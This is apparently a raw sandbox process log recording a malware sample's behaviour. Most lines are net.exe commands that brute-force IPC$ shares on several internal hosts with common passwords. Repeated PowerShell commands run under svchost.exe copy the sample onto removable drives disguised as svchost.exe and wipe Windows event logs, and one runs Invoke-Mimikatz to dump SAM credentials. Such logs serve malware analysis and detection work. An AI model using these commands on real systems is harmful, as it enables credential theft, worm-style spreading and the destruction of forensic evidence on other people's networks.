C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ admin /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ password /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ 123456 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ qwerty /user:guest4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-ChildItem -Path \"$env:SYSTEMROOT\System32\winevt\Logs\" -Recurse | Remove-Item -Force Get-ChildItem -Path \"$env:SYSTEMROOT\Logs\" -Recurse | Remove-Item -Force "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ letmein /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ welcome /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ administrator /user:guest4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ 1234 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ test /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ admin /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ password /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ 123456 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ qwerty /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ letmein /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ welcome /user:user4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ passw0rd /user:user4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-ChildItem -Path \"$env:SYSTEMROOT\System32\winevt\Logs\" -Recurse | Remove-Item -Force Get-ChildItem -Path \"$env:SYSTEMROOT\Logs\" -Recurse | Remove-Item -Force "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ administrator /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ 1234 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ test /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ admin /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ password /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ 123456 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ qwerty /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ letmein /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ welcome /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ passw0rd /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ administrator /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ 1234 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.83.52\IPC$ passw0rd /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ test /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ admin /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ password /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ 123456 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ administrator /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ 1234 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ test /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ welcome /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ admin /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ passw0rd /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ qwerty /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ password /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ letmein /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ 123456 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ qwerty /user:guest4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-ChildItem -Path \"$env:SYSTEMROOT\System32\winevt\Logs\" -Recurse | Remove-Item -Force Get-ChildItem -Path \"$env:SYSTEMROOT\Logs\" -Recurse | Remove-Item -Force "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ letmein /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ welcome /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ passw0rd /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ administrator /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ 1234 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ test /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ admin /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ password /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ 123456 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ qwerty /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ letmein /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ welcome /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ passw0rd /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ administrator /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ 1234 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.86\IPC$ test /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ admin /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ password /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ 123456 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ qwerty /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ letmein /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ welcome /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ passw0rd /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ administrator /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ 1234 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ test /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ admin /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ password /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ 123456 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ qwerty /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ letmein /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ welcome /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ passw0rd /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ administrator /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ 1234 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ test /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ admin /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ password /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ 123456 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ qwerty /user:guest4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " try { Invoke-Mimikatz -Command '\"privilege::debug\" \"token::elevate\" \"lsadump::sam\" \"exit\"' -ErrorAction SilentlyContinue } catch {} "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-ChildItem -Path \"$env:SYSTEMROOT\System32\winevt\Logs\" -Recurse | Remove-Item -Force Get-ChildItem -Path \"$env:SYSTEMROOT\Logs\" -Recurse | Remove-Item -Force "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ letmein /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ welcome /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ passw0rd /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ administrator /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ 123456 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ qwerty /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ 1234 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ password /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ letmein /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ welcome /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ test /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ passw0rd /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ administrator /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ 1234 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ admin /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ password /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ passw0rd /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ administrator /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ 123456 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ test /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ admin /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ qwerty /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ 1234 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ welcome /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ test /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.182.42\IPC$ letmein /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ admin /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ 123456 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ password /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ letmein /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ qwerty /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ welcome /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ passw0rd /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ administrator /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ 1234 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ test /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ 123456 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ password /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ qwerty /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ admin /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ letmein /user:guest4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-ChildItem -Path \"$env:SYSTEMROOT\System32\winevt\Logs\" -Recurse | Remove-Item -Force Get-ChildItem -Path \"$env:SYSTEMROOT\Logs\" -Recurse | Remove-Item -Force "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ welcome /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ passw0rd /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ administrator /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ 1234 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ test /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ admin /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ letmein /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ admin /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ password /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ 123456 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ qwerty /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ letmein /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ welcome /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ passw0rd /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ password /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ 1234 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ administrator /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ 123456 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ test /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ administrator /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ passw0rd /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ welcome /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ qwerty /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ 1234 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ qwerty /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ 1234 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.246.148\IPC$ welcome /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ test /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ password /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ admin /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ passw0rd /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ letmein /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ 123456 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ administrator /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ admin /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ password /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ test /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ qwerty /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ 123456 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ letmein /user:guest4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-ChildItem -Path \"$env:SYSTEMROOT\System32\winevt\Logs\" -Recurse | Remove-Item -Force Get-ChildItem -Path \"$env:SYSTEMROOT\Logs\" -Recurse | Remove-Item -Force "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ welcome /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ passw0rd /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ administrator /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ test /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ 1234 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ admin /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ password /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ qwerty /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ letmein /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ passw0rd /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ test /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ 1234 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ password /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ test /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ welcome /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ 1234 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ 123456 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.14.95\IPC$ administrator /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ welcome /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ 123456 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ letmein /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ qwerty /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ administrator /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.47.220\IPC$ passw0rd /user:administrator4⤵
-
-
